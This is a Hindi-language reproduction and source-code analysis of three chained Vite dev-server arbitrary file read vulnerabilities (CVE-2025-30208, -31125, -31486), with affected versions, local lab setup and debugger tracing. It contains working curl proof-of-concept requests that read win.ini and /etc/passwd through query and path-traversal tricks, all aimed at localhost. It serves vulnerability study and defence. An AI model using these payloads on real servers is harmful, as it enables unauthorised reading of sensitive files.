
CVE-2025-30208 श्रृंखला भेद्यताओं के पुनरुत्पादन का विश्लेषण
CVE-2025-30208, CVE-2025-31125 और CVE-2025-31486 Vite डेवलपमेंट सर्वर में एक आर्बिट्रेरी फ़ाइल पढ़ने की भेद्यता है। यह भेद्यता हमलावर को विशिष्ट URL पैरामीटर्स के माध्यम से एक्सेस कंट्रोल को बायपास करने और fs मॉड्यूल के माध्यम से सर्वर पर संवेदनशील फ़ाइलों को पढ़ने की अनुमति देती है। उपरोक्त तीन भेद्यताओं को एक श्रृंखला माना जा सकता है क्योंकि इनके कारण बहुत समान हैं।
CVE-2025-30208 निम्नलिखित संस्करणों को प्रभावित करता है
>=6.2.0, <=6.2.2
>=6.1.0, <=6.1.1
>=6.0.0, <=6.0.11
>=5.0.0, <=5.4.14
<=4.5.9
CVE-2025-31125 निम्नलिखित संस्करणों को प्रभावित करता है
>=6.2.0, <=6.2.3
>=6.1.0, <=6.1.2
>=6.0.0, <=6.0.12
>=5.0.0, <=5.4.15
<=4.5.10
CVE-2025-31486 निम्नलिखित संस्करणों को प्रभावित करता है
>=6.2.0, <=6.2.4
>=6.1.0, <=6.1.3
>=6.0.0, <=6.0.13
>=5.0.0, <=5.4.16
<=4.5.11
स्थानीय रूप से शून्य से भेद्यता वातावरण सेट करने के लिए सबसे पहले create-vite के माध्यम से प्रोजेक्ट बनाएं
npm create vite@latest vuln-env -y -- --template vue-ts
cd vuln-env
इस समय उत्पन्न package.json में Vite संस्करण में ^ चिह्न हो सकता है (जैसे "vite": "^6.2.0"), इसे मैन्युअल रूप से सटीक संस्करण संख्या में बदलें (जैसे "vite": "6.2.0"), फिर निष्पादित करें:
npm install
अंत में वातावरण प्रारंभ करें:
npm run dev
बेशक आप सीधे इस रिपॉज़िटरी के अंतर्गत vuln-env फ़ोल्डर का उपयोग कर सकते हैं, npm install के बाद npm run dev करें।
सुविधा के लिए, तीनों भेद्यताओं का पुनरुत्पादन 6.2.0 संस्करण में किया गया। npm run dev निष्पादित करें और पर्यावरण प्रारंभ होने तक प्रतीक्षा करें।

CVE-2025-30208 POC
curl "http://localhost:5173/@fs/c:/windows/win.ini?import&raw??"
curl "http://localhost:5173/@fs/c:/windows/win.ini?raw??" -H "sec-fetch-dest: script"

CVE-2025-31125 POC
curl "http://localhost:5173/@fs/c:/windows/win.ini?import&inline=1.wasm?init"
curl "http:/localhost:5173/@fs/c:/windows/win.ini?inline=1.wasm?init" -H "sec-fetch-dest: script"
पढ़ी गई सामग्री base64 एन्कोडेड है; डिकोड करने पर मूल फ़ाइल सामग्री प्राप्त होती है।

CVE-2025-31486 POC
curl "http://localhost:5173/@fs/c:/windows/win.ini?import&?.svg?.wasm?init"
curl "http://localhost:5173/@fs/c:/windows/win.ini?.svg?.wasm?init" -H "sec-fetch-dest: script"
रिपोर्ट में उल्लिखित सापेक्ष पथ के माध्यम से पढ़ने का POC निम्नलिखित है
curl 'http://127.0.0.1:5173/@fs/x/x/x/vite-project/?/../../../../../etc/passwd?import&?raw'
x स्थानीय प्रोजेक्ट पथ को दर्शाता है। स्थानीय परीक्षण POC निम्नलिखित है
curl "http://localhost:5173/@fs/D:/PrograEnv/PythonEnv/pocsuite3/CVE-2025-30208/vuln-env/?/../../../../../../test.txt?import&?raw"
देखा जा सकता है कि POC मूलतः दो श्रेणियों में विभाजित है। जिनमें HTTP शीर्षक जोड़ने की आवश्यकता नहीं है, उनमें ?import& मौजूद होना चाहिए। इस पर यहाँ चर्चा नहीं की जाएगी; स्रोत कोड विश्लेषण चरण में स्पष्टीकरण दिया जाएगा।
स्रोत कोड का विश्लेषण करने के लिए डिबगिंग की आवश्यकता है। यहाँ VSCode से प्रोजेक्ट को डिबग किया जाता है। launch.json फ़ाइल की सामग्री निम्नलिखित है।
{
"version": "0.1.0",
"configurations": [
{
"type": "node",
"request": "launch",
"name": "Debug Vite & Node Modules",
"runtimeExecutable": "npm",
"runtimeArgs": ["run", "dev"],
"skipFiles": ["<node_internals>/**"],
}
]
}
आधिकारिक पैच समाधान से देखा जा सकता है कि transformMiddleware फ़ंक्शन में URL प्रारूप जांच और सेवा तक पहुंच का फैसला करने वाली if शर्त को मजबूत किया गया। तो ब्रेकपॉइंट transformMiddleware फ़ंक्शन पर सेट करें और अनुरोध पार्सिंग प्रक्रिया का अनुसरण करें।

क्योंकि बनाए गए प्रोजेक्ट में केवल संकलित js फ़ाइलें हैं, इसलिए सीधे पूरी फ़ाइल में फ़ंक्शन कीवर्ड खोजकर ब्रेकपॉइंट जोड़ें।

POC चलाएं और सफलतापूर्वक लक्ष्य फ़ंक्शन पर ब्रेक होता है। देखा जा सकता है कि कुछ चर निर्धारण के बाद, कॉल प्रक्रिया viteTransformMiddleware फ़ंक्शन में प्रवेश करती है। यह जांचने के बाद कि अनुरोध विधि GET है और अनुरोध रूट डायरेक्टरी या आइकन का है या नहीं, url removeTimestampQuery द्वारा अंतिम ? को हटा दिया जाता है।
/@fs/c:/windows/win.ini?import&raw??
⬇
/@fs/c:/windows/win.ini?import&raw?
cleanUrl() द्वारा अनुरोध पैरामीटर रहित URL प्राप्त किया जाता है। इस समय withoutQuery का मान "/@fs/c:/windows/win.ini" है, इसलिए if (!isSourceMap) कोड खंड में प्रवेश नहीं होगा। इसके बाद publicDirInRoot द्वारा जांचा जाता है कि स्टैटिक रिसोर्स डायरेक्टरी को प्रोजेक्ट रूट डायरेक्टरी में कॉन्फ़िगर किया गया है या नहीं। url.startsWith(publicPath) जांचता है कि अनुरोधित URL कॉन्फ़िगर किए गए पब्लिक पथ (जैसे /public/) से शुरू होता है या नहीं। जब दोनों शर्तें एक साथ पूरी होती हैं, तो warnAboutExplicitPublicPathInUrl(url) कॉल किया जाता है और चेतावनी दी जाती है। इसका मतलब आमतौर पर है कि डेवलपर ने कोड में गलती से पब्लिक पथ जोड़ दिया है। URL शर्तों को पूरा नहीं करता, इसलिए संबंधित कोड खंड को छोड़ दिया जाता है। rawRE.test(url) और urlRE.test(url) दोनों का परिणाम False है, इसलिए ensureServingAccess() के परिणाम की जांच किए बिना लॉजिकल एक्सप्रेशन का परिणाम False पर सेट किया जाता है और कोड खंड को छोड़ दिया जाता है। अगले if में, URL ImportQueryRE द्वारा परिभाषित पैटर्न से मेल खाता है इसलिए if कोड खंड में प्रवेश किया जाता है। URL removeImportQuery() फ़ंक्शन द्वारा /@fs/c:/windows/win.ini?raw में बदल दिया जाता है और transformRequest() फ़ंक्शन में भेजा जाता है।
/@fs/c:/windows/win.ini?import&raw?
⬇
/@fs/c:/windows/win.ini?raw
isJSRequest(url) के if में यह भी जांचा जाता है कि HTTP शीर्षक sec-fetch-dest का मान script है या नहीं। यदि है तो भी यह जांच पास कर सकता है। यही कारण है कि पहले उल्लिखित POC मूलतः दो श्रेणियों में विभाजित है। HTTP शीर्षक और ?import& जोड़ना दोनों ही if की जांच पास करने के लिए हैं। (वास्तव में, जांच पास करने के अन्य तरीके भी हैं, जैसे isHTMLProxy(url) -> /@fs/c:/windows/win.ini?html-proxy&raw??)

पैरामीटर प्रोसेसिंग, एन्वायरनमेंट चेक, कैश कुंजी और डुप्लिकेट अनुरोध जांच के बाद doTransform() फ़ंक्शन में प्रवेश किया जाता है।

कैश वैधता जांच के बाद URL /@fs/c:/windows/win.ini?raw को पार्स करके ID c:/windows/win.ini?raw प्राप्त होती है, फिर loadAndTransform() फ़ंक्शन में प्रवेश किया जाता है।

कुछ असाइनमेंट ऑपरेशन के बाद, id के मान के आधार पर प्लगइन लोड किए जाते हैं। प्लगइन लोडिंग का क्रम निम्नलिखित है
vite:optimized-deps
↓
vite:modulepreload-polyfill
↓
vite:resolve
↓
vite:html-inline-proxy
↓
vite:css
↓
vite:wasm-helper
↓
vite:worker
↓
vite:asset
